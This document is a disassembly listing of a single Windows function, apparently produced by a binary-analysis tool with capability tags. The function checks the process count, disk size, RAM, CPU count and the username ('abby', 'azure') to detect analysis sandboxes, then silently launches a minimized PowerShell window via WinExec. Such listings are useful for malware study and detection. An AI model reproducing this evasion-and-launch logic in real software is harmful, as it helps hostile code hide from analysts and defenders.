Function at 0x140001570
Capabilities:
Create process on windows
Enumerate processes
Get disk size
Get memory capacity
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor ebx, ebx
mov esi, ebx
xor edx, edx
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400015cc
lea rdx, str.Error:_Unable_to_create_toolhelp_snapshot.
jmp 0x1400019c0
mov dword [rbp - 0x60], 0x238
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140001620
lea rdx, str.Error:_Unable_to_retrieve_information_about_the_first_process.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b50
mov rcx, rax
lea rdx, [0x140001d20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400019dc
inc esi
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001620
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Total_number_of_running_processes:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b50
mov rcx, rax
mov edx, esi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001d20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp esi, 0x5a
jl 0x1400019dc
lea r9, [rsp + 0x28]
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x1400019b9
mov rax, qword [rsp + 0x20]
shr rax, 0x1e
mov qword [rsp + 0x20], rax
cmp eax, 0x79
jl 0x1400019dc
mov dword [rsp + 0x60], 0x40
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
shr rax, 0x1e
mov qword [rsp + 0x28], rax
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsd xmm0, qword [0x1400035c0]
comisd xmm0, xmm1
ja 0x1400019dc
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp - 0x80], 3
jl 0x1400019dc
lea rcx, [rsp + 0x30]
call fcn.1400011d0
nop
lea rdi, [rsp + 0x30]
mov r15, qword [rsp + 0x30]
mov r13, qword [rsp + 0x48]
cmp r13, 0x10
cmovae rdi, r15
mov r12, qword [rsp + 0x40]
cmp r12, 4
jb 0x1400017b6
lea r14, [r12 + rdi]
lea r8, [r14 - 3]
sub r8, rdi
mov edx, 0x61
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x1400017b6
lea rdx, str.abby
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x140001778
cmp rcx, 4
jne 0x140001760
mov eax, ebx
jmp 0x14000177d
sbb eax, eax
or eax, 1
test eax, eax
je 0x1400017a9
inc r9
lea r8, [r14 - 3]
sub r8, r9
mov edx, 0x61
mov rcx, r9
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
lea rdx, str.abby
jne 0x140001751
jmp 0x1400017b6
sub r9, rdi
cmp r9, 0xffffffffffffffff
jne 0x14000197b
lea rdi, [rsp + 0x30]
cmp r13, 0x10
cmovae rdi, r15
cmp r12, 5
jb 0x140001860
lea r14, [r12 + rdi]
lea r8, [r14 - 4]
sub r8, rdi
mov edx, 0x61
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
je 0x140001860
lea r12, str.azure
nop dword [rax]
nop dword [rax + rax]
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [r12 + rcx - 1]
jne 0x140001829
cmp rcx, 5
jne 0x140001810
mov eax, ebx
jmp 0x14000182e
sbb eax, eax
or eax, 1
test eax, eax
je 0x140001853
inc r9
lea r8, [r14 - 4]
sub r8, r9
mov edx, 0x61
mov rcx, r9
call sub.VCRUNTIME140.dll_memchr
mov r9, rax
test rax, rax
jne 0x140001800
jmp 0x140001860
sub r9, rdi
cmp r9, 0xffffffffffffffff
jne 0x14000197b
lea rdx, str.Total_process
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b50
mov rcx, rax
mov edx, esi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140001d20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.total_size_of_disk
call fcn.140001b50
mov rcx, rax
mov edx, dword [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001d20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Total_Ram
call fcn.140001b50
mov rcx, rax
mov edx, dword [rsp + 0x28]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001d20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.total_process_count
call fcn.140001b50
mov rcx, rax
mov edx, dword [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001d20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.username
call fcn.140001b50
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.140001d60
lea rdx, [0x140001d20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Hello_World__n
call fcn.140001b50
xor edx, edx
lea rcx, str.cmd.exe__c_start__min____powershell.exe__NoExit
call qword [sym.imp.KERNEL32.dll_WinExec]
mov ebx, 1
mov r13, qword [rsp + 0x48]
mov r15, qword [rsp + 0x30]
cmp r13, 0x10
jb 0x1400019b5
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400019ad
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140001f8c
mov eax, ebx
jmp 0x1400019de
lea rdx, str.Error:_Unable_to_retrieve_disk_information.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001b50
lea rdx, [0x140001d20]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140001f30
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret